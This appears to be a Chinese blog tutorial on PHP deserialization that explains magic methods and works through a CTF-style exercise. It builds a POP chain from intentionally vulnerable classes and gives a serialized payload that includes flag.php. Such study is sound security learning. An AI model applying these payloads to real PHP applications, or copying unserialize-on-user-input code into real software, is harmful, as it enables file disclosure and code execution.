反序列化学习——pop链的构造

一.概念

POP链
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量所以在PHP反序列化中有一种漏洞利用方法叫"面向属性编程"POP( Property Oriented Programming).
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的-种payload。

POC编写
POC(全称:Proofofconcept)中文译作概念验证。在安全界可以理解成洞验证程序。Poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

二.前置属性

魔术方法触发前提:魔术方法所在类(或对象)被调用

eg:

<?php
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __tostring(){
        echo "tostring is here!!";
    }
}
$b = $_GET['benben'];
unserialize($b);//这里反序列化$b并不会触发wakeup 因为$benben在类sec里面
?> 

这里如果benben的值为反序列化类sec的结果

反序列化$b并不会触发wakeup

所以要触发wakeup() 必须要反序列化fast这个类

同理

要触发tostring这个魔术方法

触发时机:把对象被当成字符串调用

让source = sec这个类才可以

然后让benben = fast这个类将其反序列化的时候顺理成章调用wakeup

根据pop构造poc

将类里只留下成员变量 删除成员函数

<?php
class fast
{
  public $source;
}
class sec
{
  var $benben;
}
$fast = new fast();
$sec = new sec();
$fast -> source = $sec;
echo serialize($fast);
?>

payload :

O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}

三.例题

根据反推法 构造pop链

 <?php
  //flag is in flag.php 
  class Modifier
  {
    private $var;
    public function append($value)
    {//当 include($value) 被执行时,PHP会尝试包含指定路径的文件,并将其中的代码执行。如果成功包含文件,其中的变量和函数会在当前脚本中可用。
      include($value);//这里的路径应该是flag.php  $value = flag.php
      echo $flag;
    }
    public function __invoke()//1.触发invoke()后append被执行  触发时机:把对象被当函数调用  这里就要找到某个函数把它赋值为一个对象 找到了下面的return $s()
    {
      $this->append($this->var);
    }
  }


  class Show
  {
    public $source;
    public $str;//3.让str=obj Test test类里面没有source
    public function __toString()//触发条件: 把对象被当成字符串调用  这里找到echo $this->source;
    {
      return $this->str->source;//这里就会触发get方法  要想这段代码执行 需要tostring魔术方法触发
    }
    public function __wakeup()//触发条件:进行发序列化
    {
      echo $this->source;//4.让source =obj show  这里需要触发wakeup() 
    }
  } 
  class Test
  {
    public $p;
    public function __construct()
    {
      $this->p = array();
    }

    public function __get($key)//触发方法:调用的成员属性不存在 这里找到show里的:return $this->str->source;

    {
      $s = $this->p; //2.$s来自于$p 只需要让$p为一个对象obj = Modifier   要想要这段代码执行 需要触发get
      return $s();
    }
  }

  if (isset($_GET['pop'])) {
    unserialize($_GET['pop']);//5.反序列化show 触发wakeup
  }
  ?> 

从反推法推出步骤1~5

构造pop链只需从5~1 即可推出完整思路

根据分析 构造poc链

 <?php
  //flag is in flag.php
 
  class Modifier
  {
    private $var = 'flag.php';
   
  }

  class Show
  {
    public $source;
    public $str;
  }

  class Test
  {
    public $p;
  }
  $mod = new Modifier();
  $show = new Show();
  $test = new Test();
  $test -> p = $mod;
  $show -> str = $test;
  $show-> source = $show;
  echo serialize($show);
  ?> 

最后的payload:

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

这里的$var是私有属性

需要把空格改成%00

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值